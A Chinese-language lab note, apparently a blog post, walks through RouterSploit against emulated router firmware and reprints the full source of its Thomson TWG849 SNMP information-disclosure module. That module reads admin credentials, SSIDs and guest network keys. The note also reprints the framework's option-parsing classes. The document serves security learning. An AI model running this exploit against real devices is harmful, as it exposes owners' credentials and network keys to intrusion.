# Routersploit 之前有用過metasploit來打firmadyne架好的router,可是一直都沒有成功~ ## Set 參考[這個](https://codertw.com/%E7%A8%8B%E5%BC%8F%E8%AA%9E%E8%A8%80/444191/)就可以了。照著裝應該沒有什麼問題,裝好之後就 ``` cd routersploit ./rsf.py ``` 然後就會長得像這樣 ![](https://i.imgur.com/QnHzsxZ.png) ## Use 之後還有幾個本來就有的指令可以用,去爬文然後熟悉了一下~ - search - use - show 之類的還有一些,那大概熟悉之後,我就架了一個之前id=4004的firmware,名字是`NWA1121-NI_2.10(AABJ.0)C0.zip`,裝好之後,因為他有一個漏洞叫做**Thomson TWG849 Info Disclosure**,然後這個漏洞有被寫成一個script在routersploit裡面,所以就來用用看。 ![](https://i.imgur.com/W2xs9s1.png) 大概解釋一下步驟 1. use exploits/routers/thomson/twg849 一開始應該要先search一下有沒有,不過因為我知道有,所以就不用search了,然後就可以去use他,基本上就是跟著目錄走,然後找到我們想要的那一個payload。 2. show options 進到`use_twg849`之後,就可以`show options`,然後看一下有什麼參數是我們需要加的,這邊的話,只有target的ip是我們需要告訴他的,記得之前在metasploit的時候,還要去set一些mipsel之類的~ 3. set target 192.168.1.2 不解釋 4. run 好了之後就可以開始run了,這個洞可能沒有什麼太複雜的運算,所以一下子就跑好了,跑完之後他有說**exploit success**,然後就看他下面有個table,說了兩個info,一個是uptime一個是model。 ## Trace 既然用了之後成功了,我就想說來trace一下他的code是怎麼寫的,如果自己可以把一個PoC寫出來的話會更好~ ### twg848_info_disclosure.py ```python= from routersploit.core.exploit import * from routersploit.core.snmp.snmp_client import SNMPClient class Exploit(SNMPClient): __info__ = { "name": "Thomson TWG849 Info Disclosure", "description": "Module exploits Thomson TWG849 information disclosure vulnerability which allows reading sensitive information.", "authors": ( "Sebastian Perez", # vulnerability discovery "Marcin Bury <marcin[at]threat9.com>", # routersploit module ), "references": ( "https://packetstormsecurity.com/files/133631/Thomson-CableHome-Gateway-DWG849-Information-Disclosure.html", ), "devices": ( "Thomson TWG849", ) } target = OptIP("", "Target IPv4 or IPv6 address") port = OptPort(161, "Target SNMP port") verbosity = OptBool(False, "Enable verbose output: true/false") def __init__(self): self.oids = { # make, model, software version "model": "1.3.6.1.2.1.1.1.0", "uptime": "1.3.6.1.2.1.1.3.0", # web interface credentials "username": "1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0", "password": "1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0", # ssid and key "ssid1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32", "ssid2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32", # guest network oids "guest1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33", "guest2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34", "guest3": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35", } def run(self): res = [] print_status("Reading parameters...") for name in self.oids.keys(): snmp_client = self.snmp_create() snmp = snmp_client.get("private", self.oids[name]) if snmp: value = str(snmp[0][1]) if value: res.append((name, value)) if res: print_success("Exploit success") print_table(("Parameter", "Value"), *res) else: print_error("Exploit failed - could not read sensitive information") @mute def check(self): snmp_client = self.snmp_create() snmp = snmp_client.get("private", "1.3.6.1.2.1.1.1.0") if snmp: return True # target is not vulnerable return False # target is vulnerable ``` ### option.py ```python= import re import os.path from routersploit.core.exploit.exceptions import OptionValidationError from routersploit.core.exploit.utils import ( is_ipv4, is_ipv6, ) class Option(object): """ Exploit attribute that is set by the end user """ def __init__(self, default, description="", advanced=False): self.label = None self.description = description try: self.advanced = bool(advanced) except ValueError: raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced)) if default: self.__set__("", default) else: self.display_value = "" self.value = "" def __get__(self, instance, owner): return self.value class OptIP(Option): """ Option IP attribute """ def __set__(self, instance, value): if not value or is_ipv4(value) or is_ipv6(value): self.value = self.display_value = value else: raise OptionValidationError("Invalid address. Provided address is not valid IPv4 or IPv6 address.") class OptPort(Option): """ Option Port attribute """ def __set__(self, instance, value): try: value = int(value) if 0 < value <= 65535: # max port number is 65535 self.display_value = str(value) self.value = value else: raise OptionValidationError("Invalid option. Port value should be between 0 and 65536.") except ValueError: raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value)) class OptBool(Option): """ Option Bool attribute """ def __init__(self, default, description="", advanced=False): self.description = description if default: self.display_value = "true" else: self.display_value = "false" self.value = default try: self.advanced = bool(advanced) except ValueError: raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced)) def __set__(self, instance, value): if value == "true": self.value = True self.display_value = value elif value == "false": self.value = False self.display_value = value else: raise OptionValidationError("Invalid value. It should be true or false.") class OptInteger(Option): """ Option Integer attribute """ def __set__(self, instance, value): try: self.display_value = str(value) self.value = int(value) except ValueError: raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value)) class OptFloat(Option): """ Option Float attribute """ def __set__(self, instance, value): try: self.display_value = str(value) self.value = float(value) except ValueError: raise OptionValidationError("Invalid option. Cannot cast '{}' to float.".format(value)) class OptString(Option): """ Option String attribute """ def __set__(self, instance, value): try: self.value = self.display_value = str(value) except ValueError: raise OptionValidationError("Invalid option. Cannot cast '{}' to string.".format(value)) class OptMAC(Option): """ Option MAC attribute """ def __set__(self, instance, value): regexp = r"^[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}$" if re.match(regexp, value.lower()): self.value = self.display_value = value else: raise OptionValidationError("Invalid option. '{}' is not a valid MAC address".format(value)) class OptWordlist(Option): """ Option Wordlist attribute """ def __get__(self, instance, owner): if self.display_value.startswith("file://"): path = self.display_value.replace("file://", "") with open(path, "r") as f: lines = [line.strip() for line in f.readlines()] return lines return self.display_value.split(",") def __set__(self, instance, value): if value.startswith("file://"): path = value.replace("file://", "") if not os.path.exists(path): raise OptionValidationError("File '{}' does not exist.".format(path)) self.value = self.display_value = value class OptEncoder(Option): """ Option Encoder attribute """ def __init__(self, default, description="", advanced=False): self.description = description if default: self.display_value = default self.value = default else: self.display_value = "" self.value = None try: self.advanced = bool(advanced) except ValueError: raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced)) def __set__(self, instance, value): encoder = instance.get_encoder(value) if encoder: self.value = encoder self.display_value = value else: raise OptionValidationError("Encoder not available. Check available encoders with `show encoders`.") ```